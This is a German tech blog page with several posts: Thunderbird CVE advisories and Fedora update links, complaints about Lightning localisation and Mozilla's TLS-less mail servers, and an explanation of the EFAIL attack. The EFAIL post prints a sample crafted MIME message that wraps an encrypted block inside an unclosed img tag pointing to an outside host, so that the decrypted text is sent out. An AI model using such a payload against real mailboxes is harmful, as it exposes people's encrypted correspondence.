Thunderbird < 68.4.1mit RCE Schwachstelle

Und gleich nach Firefox zieht Mozilla mit der (vermutlich) gleichen Schwachstelle in Thunderbird nach: Remote-Code-Execution in Version < 68.4.1

Remote-Code-Execution in Thunderbird

Wie wir gerade vom CERT erfahren haben, ist in Thunderbird eine Sicherheitslücke enthalten, die zum Ausführen von Code aus der Ferne taugt. Mozilla schreibt dazu:

CVE-2019-17024: Memory safety bugs fixed in Thunderbird 68.4.1

Reporter Mozilla developers
Impact high
Description

Mozilla developers Jason Kratzer, Christian Holler, and Bob Clary reported memory safety bugs present in Thunderbird 68.3. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code.

References   Memory safety bugs fixed in Thunderbird 68.4.1

Eine weitere kritische Sicherheitslücke wurden auch gefunden, auch wenn diese nicht per Email ausgenutzt werden kann:

Announced January 10, 2020
Impact critical
Products Thunderbird
Fixed in Thunderbird 68.4.1

In general, these flaws cannot be exploited through email in the Thunderbird product because scripting is disabled when reading mail, but are potentially risks in browser or browser-like contexts.

#CVE-2019-17026: IonMonkey type confusion with StoreElementHole and FallibleStoreElement

Reporter Qihoo 360 ATA
Impact    critical
Description  Incorrect alias information in IonMonkey JIT compiler for setting array elements could lead to a type confusion. We are aware of targeted attacks in the wild abusing this flaw.
References  Bug 1607443

 

Offensichtlich nutzen Angreifer das bereits aus, weil der gleiche Bug auch in Firefox drin war. Wie das genau dann passiert, kann ich mir allerdings auch nur schwer vorstellen.

Derzeit werden die nötigen Pakete bei Fedora noch gebaut! Es gibt also noch keine Updates, die man einspielen könnte für Euch. Andere Distributionen waren da ggf. schneller.

Update

Hier Eure Downloadlinks:

https://kojipkgs.fedoraproject.org//packages/thunderbird/68.4.1/1.fc30/x86_64/thunderbird-68.4.1-1.fc30.x86_64.rpm

https://kojipkgs.fedoraproject.org//packages/thunderbird/68.4.1/1.fc31/x86_64/thunderbird-68.4.1-1.fc31.x86_64.rpm

Lösung: Lightning auf deutsch

Wie gestern Nacht in diesem Artikel berichtet : Die so eigene Welt von Mozilla gibt es derzeit Probleme mit Lightning: Es ist nur noch englisch 🙁

Problem ist längst behoben

Seit dem 30.9. gibt die neue Thunderbird 60.3.0 bereits, aber sie wurde erst am 31.10. für Fedora kompiliert:

thunderbird-60.3.0-1.fc27xhorak2018-10-31 01:15:24

Den Link oben könnt Ihr benutzen und  Eure Version aussuchen, oder einfach hier ( thunderbird-60.3.0-1.fc27.x86_64.rpm download) für 64Bit direkt downloaden. Natürlich gibt es auch andere Versionen für FC28,29,30 hier: Packageoverview Fedora .

Nach dem Update auf 60.3.0 ist Lightning wieder deutsch. Warum ? Weil es im Thunderbirdpaket direkt mit dabei ist 🙂

Sehr ärgerlich die Sache, weil es ja bereits einen fertigen Fix gibt 🙁 Aber wenigstens ist das bei Fedora besser organisiert als bei Mozilla. Merkt Euch einfach: KOJI ist immer Eurer Freund 😉

 

Die so eigene Welt von Mozilla

Ich mach‘ mir die Welt, Widdewidde wie sie mir gefällt ….“ Dies Zitat aus Pipi Langstrumpf dürfte so ziemlich jeder Ü30 noch kennen. Aber auch die jüngeren Nutzer werden das bald von den Dächern pfeifen, weil es die Situation bei Mozilla am besten beschreibt.

Das Chaos ist unser Programm

Ihr erinnert Euch noch an das hier Mozillas Bugtracker zu blöd für TLS ? Wers nicht lesen will, Zusammenfassung: Die Mozilla Mailserver können zwar TLS empfangen, aber die in die Amazoncloud ausgelagerten Server können oder wollen es nicht beim Senden benutzen. Wer weiß es schon so genau.

Ich dachte ja erst, daß ist ein Adminfehler und der wäre schnell behoben, aber die Admins von Mozilla juckt es nicht. Seit Monaten ignorieren sie das Problem und sehen sich leider nicht genötigt, den Servern mal TLS beizubiegen, was i.d.R. eine Anweisung ist. Heute mußte ich feststellen, daß die jüngst sich selbst aktualisierte Lightning Erweiterung im Thunderbird nur noch englische Texte von sich gibt und auch keine Option für Deutsch anbietet.

Laut der eigenen Aussage des Addon-Managers handelt es sich um die Version 6.2.2.1 installiert am 28.10.2018:

Wenn man jetzt der Einladung folgt und auf die Lightningseite bei Mozilla wechselt, also hier klickt:

kommt man auf diese Webseite :

Wo man erfährt, daß die neueste Version 5.4 aus 2017 wäre:

Wie kann man dann bitte 6.2.2.1 installiert haben ?

Na klar, weil die 5.4 Angabe nicht stimmt. Das erfährt man aber erst, wenn man die „Calendar Versions“ Seite aufruft. Bloß, wo bekommt man jetzt die gebugfixte Version 6.2.3 her ? Nun, das wird nicht verraten, auch nicht auf der Webseite. Mit anderen Worten: Heilige Scheiße, was seid Ihr neuerdings für Deppen bei Mozilla !?

Die Kommentare sprechen wohl Bände, würde man Sie alle verstehen 😉 Und das sind noch die netten Kommentare, die schlimmen habe ich nicht kopiert 😀

Tatsache ist derzeit, man kann die neue Version nicht selbst runterladen, man muß auf den Updatezyklus von Thunderbird selbst warten.

Was kommt als nächstes, daß FireFox auch noch vor die Hunde geht ?

Mozillas Bugtracker zu blöd für TLS

Also da könnte man aus der Haut fahren. Wir haben das Jahr 2018. In 2008 wurde TLS 1.2 als Stand der Technik eingeführt und was bekommt man, wenn sich in den Bugtracker von Mozilla einloggen will ??? DAS HIER :

Your account has been disabled

Your Bugzilla account has been disabled due to issues delivering emails to your address.

Your mail server (dsn; a27-61.smtp-out.us-west-2.amazonses.com) said: (failed) smtp; 550-Sender did not use TLS secured connection. Sender benutzte keine TLS 550 gesicherte Verbindung.


If you believe your account should be restored, please send email to bugzilla-admin@mozilla.org explaining why.

 

Klar failed das, weil die Mozilla Admins zu blöd sind um TLS beim Senden in Ihrem Mailserver zu aktivieren! In 2018! Und nächstes Jahr ist TLS 1.3 draußen. Au Backe.. wozu macht die IETF das wohl neu .. zum Spaß wohl kaum!? Und zu allem übel ist die Meldung auch noch falsch, weil das da DEREN MAILSERVER IST! 😀

Jetzt überlegt mal was das heißt, wenn ein Security Bug von weltweiten Ausmaß besprochen wird. Was machen die dann, sich im Nebel unter einer Londoner Brücke treffen ?

Wo wir grade dabei sind :

Der SystemD Bugzilla hatte da wohl ein größeres DATENLECK :

reject.log-20180909:2018-09-04 00:11:32 H=mail.logite.biz.ua [89.163.132.50] F=<amsizcz@logite.biz.ua> rejected RCPT <systemdbugzilla@MEINEDOMAIN>: found in zen.spamhaus.org</systemdbugzilla@
reject.log-20180909:2018-09-05 02:30:21 H=mail.windersale.biz.ua [217.79.182.196] F=<iskohmf@windersale.biz.ua> rejected RCPT <systemdbugzilla@MEINEDOMAIN>: Sender did not use TLS secured connection. Sender benutzte keine TLS gesicherte Verbindung.</systemdbugzilla@
reject.log-20180909:2018-09-05 18:39:10 H=mail.zimerton.biz.ua [89.163.142.60] F=<exbiclz@zimerton.biz.ua> rejected RCPT <systemdbugzilla@MEINEDOMAIN>: Sender did not use TLS secured connection. Sender benutzte keine TLS gesicherte Verbindung.</systemdbugzilla@
reject.log-20180909:2018-09-06 20:00:27 H=mail.axiroks.co.ua [217.79.181.114] F=<ablojmp@axiroks.co.ua> rejected RCPT <systemdbugzilla@MEINEDOMAIN>: Sender did not use TLS secured connection. Sender benutzte keine TLS gesicherte Verbindung.</systemdbugzilla@
reject.log-20180916:2018-09-09 22:24:27 H=mail.aquaclean.biz.ua [62.141.32.162] F=<ynmipfy@aquaclean.biz.ua> rejected RCPT <systemdbugzilla@MEINEDOMAIN>: Sender did not use TLS secured connection. Sender benutzte keine TLS gesicherte Verbindung.</systemdbugzilla@
reject.log-20180916:2018-09-09 22:58:07 H=mail.derosman.co.ua [5.104.110.186] F=<aysixkc@derosman.co.ua> rejected RCPT <systemdbugzilla@MEINEDOMAIN>: Sender did not use TLS secured connection. Sender benutzte keine TLS gesicherte Verbindung.</systemdbugzilla@
reject.log-20180916:2018-09-11 02:40:28 H=mail.windersale.biz.ua [217.79.182.196] F=<etkuxnw@windersale.biz.ua> rejected RCPT <systemdbugzilla@MEINEDOMAIN>: Sender did not use TLS secured connection. Sender benutzte keine TLS gesicherte Verbindung.</systemdbugzilla@
reject.log-20180916:2018-09-12 10:29:33 H=mail.alihost.co.ua [213.202.212.238] F=<ivdewmw@alihost.co.ua> rejected RCPT <systemdbugzilla@MEINEDOMAIN>: Sender did not use TLS secured connection. Sender benutzte keine TLS gesicherte Verbindung.</systemdbugzilla@
reject.log-20180916:2018-09-13 01:08:28 H=mail.windersale.biz.ua [217.79.182.196] F=<yrxocts@windersale.biz.ua> rejected RCPT <systemdbugzilla@MEINEDOMAIN>: Sender did not use TLS secured connection. Sender benutzte keine TLS gesicherte Verbindung.</systemdbugzilla@
reject.log-20180916:2018-09-14 00:36:32 H=mail.mafines.eu [213.202.212.252] F=<odyizfm@mafines.eu> rejected RCPT <systemdbugzilla@MEINEDOMAIN>: Sender did not use TLS secured connection. Sender benutzte keine TLS gesicherte Verbindung.</systemdbugzilla@
reject.log-20180923:2018-09-16 22:07:58 H=mail.shophostel.eu [89.163.131.100] F=<iwpekfy@shophostel.eu> rejected RCPT <systemdbugzilla@MEINEDOMAIN>: Sender did not use TLS secured connection. Sender benutzte keine TLS gesicherte Verbindung.</systemdbugzilla@
reject.log-20180923:2018-09-17 22:24:23 H=mail.kollisar.biz.ua [213.202.212.143] F=<ephorkm@kollisar.biz.ua> rejected RCPT <systemdbugzilla@MEINEDOMAIN>: Sender did not use TLS secured connection. Sender benutzte keine TLS gesicherte Verbindung.</systemdbugzilla@
reject.log-20180923:2018-09-19 03:44:26 H=mail.axiroks.co.ua [217.79.181.114] F=<ypficrx@axiroks.co.ua> rejected RCPT <systemdbugzilla@MEINEDOMAIN>: Sender did not use TLS secured connection. Sender benutzte keine TLS gesicherte Verbindung.</systemdbugzilla@
reject.log-20180923:2018-09-21 02:58:35 H=mail.windersale.biz.ua [217.79.182.196] F=<uvbiczw@windersale.biz.ua> rejected RCPT <systemdbugzilla@MEINEDOMAIN>: Sender did not use TLS secured connection. Sender benutzte keine TLS gesicherte Verbindung.</systemdbugzilla@
reject.log-20180930:2018-09-23 23:52:36 H=mail.alihost.co.ua [213.202.212.238] F=<upyyzdr@alihost.co.ua> rejected RCPT <systemdbugzilla@MEINEDOMAIN>: Sender did not use TLS secured connection. Sender benutzte keine TLS gesicherte Verbindung.</systemdbugzilla@
reject.log-20180930:2018-09-25 03:05:04 H=mail.developmnt.eu [62.141.46.214] F=<opvojcx@developmnt.eu> rejected RCPT <systemdbugzilla@MEINEDOMAIN>: Sender did not use TLS secured connection. Sender benutzte keine TLS gesicherte Verbindung.</systemdbugzilla@
reject.log-20180930:2018-09-25 18:04:27 H=mail.mafines.eu [213.202.212.252] F=<ytvelrs@mafines.eu> rejected RCPT <systemdbugzilla@MEINEDOMAIN>: Sender did not use TLS secured connection. Sender benutzte keine TLS gesicherte Verbindung.</systemdbugzilla@
reject.log-20180930:2018-09-25 18:10:29 H=mail.gorgyam.eu [5.199.135.188] F=<ympyrmv@gorgyam.eu> rejected RCPT <systemdbugzilla@MEINEDOMAIN>: Sender did not use TLS secured connection. Sender benutzte keine TLS gesicherte Verbindung.</systemdbugzilla@
reject.log-20180930:2018-09-27 01:50:59 H=mail.axiroks.co.ua [217.79.181.114] F=<alpafcb@axiroks.co.ua> rejected RCPT <systemdbugzilla@MEINEDOMAIN>: Sender did not use TLS secured connection. Sender benutzte keine TLS gesicherte Verbindung.</systemdbugzilla@

(Der Editor von WordPress verweigert den Text in seiner Rohform zu zeigen und will unbedingt das nicht existente Tag schliessen. All Fail WordPress! )

SO! muß das aussehen Mozilla!

2018-09-22 00:21:23 1g3Tnc-0005cl-8K <= bugzilla@redhat.com H=mx1-phx2.redhat.com [209.132.183.26] P=esmtps X=TLSv1.2:ECDHE-RSA-AES256-GCM-SHA384:256 CV=no S=3923 id=bug-1599018-321468-Fft8v2y8dX@bugzilla.redhat.com

Damit die Admins bei Mozillapost bekommen, sind sie bei GOOGLE untergekommen :

2018-10-03 10:23:49 1g7cRf-0000Gr-Qb => bugzilla-admin@mozilla.org R=dnslookup T=remote_smtp H=aspmx.l.google.com [74.125.133.27] X=TLSv1.2:ECDHE-RSA-CHACHA20-POLY1305:256 CV=yes K C=“250 2.0.0 OK l18-v6si623134wre.19 – gsmtp“

Und jetzt steht euch mal den Chiper an : „First Time spotted“ CHACHA20-POLY1305 . „Was ist das denn fürn Exot ?“ werdet Ihr Euch fragen… ja, das ist eine GOOGLE Erfindung. Wie man da lesen kann, nicht mal ein Standard, sondern nur eine Info 😉 Naja, scheint ja von OpenSSL implementiert worden zu sein.

 

EFail: Die Katze ist aus dem Sack

Die Katze ist aus dem Sack, das Whitepaper zur EFAIL Schwachstelle ist bekannt. Als Entwickler auch von komplexen Programmen zum Parsen von (auch abgedrehten) Formaten, kann ich Euch sagen, daß es genug Scheisse da draußen gibt, die man fehlertolerant behandeln kann, aber die EFAIL Schwachstelle ist genau das : EIN MEGAFAIL!

Selbstgemachtes GPG Schwachstellen Logo 🙂

EFail – Der MEGAFAIL

Der Exploit basiert darauf, daß man eine verschlüsselte Email an den Empfänger A abgefangen hat, diese aber nicht dekodieren kann. Das bleibt auch nach der Lücke so! Also PGP/GPG sind an sich fein raus, die haben gar keine Schuld an der Sache.

Nun bettet man den verschlüsselten Block der Mail in eine Multipart-Mime Message, die aus zwei HTML und einem Cipherblock (dem verschlüsselten Mailteil) besteht. Das könnte so aussehen:

From: <unverdächtig@kenneich.de>
To: <opfer@opfer.de>
Content-Type: multipart/mixed;boundary="GRENZE"

--GRENZE
Content-Type: text/html;charset=ascii

<html><body><img src="https://efail.de/
--GRENZE
Content-Type: application/pkcs7-mine;smine-type=enveloped-data
Content-Transfer-Encoding: base64

hQIMA+PS/5obaKVzARAAuG0PvUFHEzRp+U9HAm1GgjnUwy6afP60q0QYl9vWby5h
ysIVpoXrHZqn3H8f/+FjsoZ2YpDlCqhvKzn/UaP8kxb21YN1+eSaMi55b6WFyIif
hbxnp2Z155YM6Sx+VrTa55DQEF2c7LzyFKcE1csRiB0py+bWJKFPERRhXxSVOMpv
sZB3oLcZmBS990RgjbGUUZhXClxubwwqXo3K41Wj8kktQvZ7YD6hMz46V26kN4Ru
PLt1PQ/+P0iznlNjXaIckLXUq/RNpRMC5469Dp674OECZ2kc3fFrv5zkZcs0Kg5r
...
--GRENZE
Content-Type: text/html;charset=ascii

"></body></html>
--GRENZE--

Was jetzt passiert ist, daß der Mimeparser des Emailprogramms, den verschlüsselten Block vom PGP Plugin dekodieren läßt und nahtlos in das umgebende HTML einfügt. Es kommt dann eine URL raus wie => „https://efail.de/TEXT+DER+NACHRICHT+AN+DEN+EMPFÄNGER“, welche als Bild in dem HTML eingebettet ist, was die meisten Mailprogramme dazu bringt, diese sofort zu rendern. Also schickt der Client damit eine Bildanfrage und überträgt so die dekodierte Nachricht.

Voraussetzungen

1. Man braucht eine verschlüsselte Email an den Empfänger
2. Man braucht einen Webserver, der mehr als 512 Zeichen in der URL annimmt ( selbstschreiben vermutlich)
3. Man braucht ein Emailprogramm beim Opfer, dessen Parser von einem Irren geschrieben wurde
UND 4. das ungefragt Bilder von externen unbekannten Webseiten nachlädt.

1+2 kann der Angreifer liefern, 3+4 muß das Opfer beisteuern.

Der Pressetenor

Der allgemeine Pressetenor war heute, daß die Plugins einen Bug haben. Wenn aber obiges so zutrifft, dann haben die Plugins keinen BUG, sie sind nur zwingend notwendig, daß der Angriff automatisch ablaufen kann. Schaltet man die aus, läuft der Angriff ins Leere.

Was in einigen Webseiten aber abgeleitet wurde war, daß die Verschlüsselung geknackt wurde und das trotz monatelanger Vorwarnung, die Emailprogramme keinen Schutz dagegen gefunden haben.

Das aber ist LÄCHERLICH.

Hier wird wiedermal eine Sau durchs Dorf getrieben, die es nicht verdient hat. Ja, das Ganze ist ein Bug. Ja, der ist in der Wirkung echt schlimm. Nein, die Verschlüsselung wurde nicht geknackt, die wurde nur vom Emailprogramm automatisch aufgehoben und exfiltriert und genau da liegt der Hund begraben. Wie kann man nur einen Parser bauen, der die drei Teile einer Email, die als DREI Teile in der Email vorliegen, zu einem Teil zusammen fassen? Das ist die Frage.

Die, die den Parser geschrieben haben, der die drei Teile verbindet, die sollten ihre Studiengebühren zurück bekommen, sofern sie welche gezahlt haben!

Schlimmer ist nur noch, daß mindestens drei unterschiedliche Teams den gleichen Fehler gemacht haben.

Updates

Thunderbird wird erst mit einer Version 52.8 nicht mehr verwundbar sein. Ich nehme mal an, die Version kommt jetzt etwas zügiger raus, als geplant.